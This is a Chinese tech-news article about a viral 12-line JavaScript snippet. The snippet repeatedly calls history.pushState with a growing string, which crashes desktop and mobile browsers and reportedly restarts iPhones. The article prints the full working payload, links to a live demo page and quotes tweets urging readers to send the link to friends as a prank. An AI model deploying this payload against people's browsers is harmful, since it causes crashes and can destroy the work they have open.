神秘12行javascript代码:让Firefox等浏览器崩溃 iphone秒重启
最近,一段神秘的12行代码在国外社交网络上火了起来,据说能让你的浏览器瞬间崩溃,iPhone秒重启。到底是什么代码这么神奇?
上周,国外网友Cyber Security@cyber__sec在Twitter上发布了这样一段推文:

“使用下面这段javascript代码,能让Firefox、Chrome、Safari浏览器崩溃,还能让iPhone重启”。
事实上,更早的时候,IT Security Tweets ™ @F1r3h4nd也发布类似的内容:

“把下面这个脚本链接发送给你的朋友,搞瘫他的浏览器,让他的iPhone重启。”
喏,就是下面这段代码:
<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
total= total+i.toString ();
history.pushState (0,0,total);
}
</script>
</body>
</html>
还有人专门做成了链接:http://www.0xroot.cn/demo.html(不怕死的可以试试,请提前保存好浏览器内容
网友验证,如果是PC用户,内存使用率一路狂飙,浏览器会瞬间卡死;如果是手机用户,点开链接浏览器会闪退,而微博、微信内打开链接同样会闪退。如果是iPhone用户使用Safari打开之后链接,手机重启。
为什么会这样呢?
有知乎网友给出这样的解答:
“history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。”
简直瞎了我的眼!
如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死...
如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信点开链接也同样会闪退。
为什么会发生此现象呢?对此我在知乎上找到了一位名为“小米”的大神解答:
history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。
好吧,反正对于连“hello world”都不会编的我,是一点也看不明白...总之牛气炫酷吊炸天就对了!
相关文章
iPhone 6S疯狂预定造成官网崩溃 下单失败仍重复扣款19次
12日,是苹果新款的iPhone 6s及iPhone 6s Plus接受预订的日子,果粉们激动无比,却发现因为抢订的人太多,苹果(大陆)官方网页已经无法打开。网页问题还没解决好,预售又2015-09-14三星再爆重磅新旗舰 这是要将iPhone 6 Plus逼崩溃的节奏
对于三星来说,继续发力高端市场,死磕苹果是必需要坚持的,而很快他们要带来两款很重磅的新品。这款新旗舰要将iphone6 plus逼崩溃。下面我们来看看详情吧2015-07-15iOS8信息崩溃怎么办?苹果官方支招解决iPhone神奇信息崩溃BUG
苹果iOS8日前再曝神奇漏洞iPhone在收到一系列字符之后会出现崩溃现象,信息应用无法打开。苹果在当地时间周四晚上更新了支持文件,并为用户提供了短暂性的解决方案,下面就2015-05-29- 苹果手机再次出现诡异bug,这一串字符包含英文、阿拉伯文和中文,就会让对方的手机立刻崩溃、重启。下面我们来看看详情吧2015-05-27
ios8.1不稳定还是应用太多?128GB版iPhone6 Plus崩溃或无限重启循环
iPhone6 Plus上市已有一段时间了,继弯曲门、染色门事件后,最近越来越多的用户反映他们128GB版的iPhone6 Plus莫名其妙的崩溃或无限重启循环,下面就一起来看看怎么回事吧2014-10-25iPhone 6 Plus被曝频繁崩溃 崩溃的应用数量都超过了700个
根据一部分iPhone 6 Plus用户的报告,手机会毫无预兆地崩溃,然后重启,苹果的在线社区中,已经有多名用户反应了这一问题。下面我们来看看到底怎么回事2014-10-24让iPhone崩溃短信什么原因怎么修复 iPhone短信崩溃的解决方法
iphone近期曝光一个iphone崩溃短信的新漏洞,很多朋友百思不得其解,今天小编通过本文给大家分享iPhone短信崩溃的解决方法,需要的朋友参考下吧2017-01-20


最新评论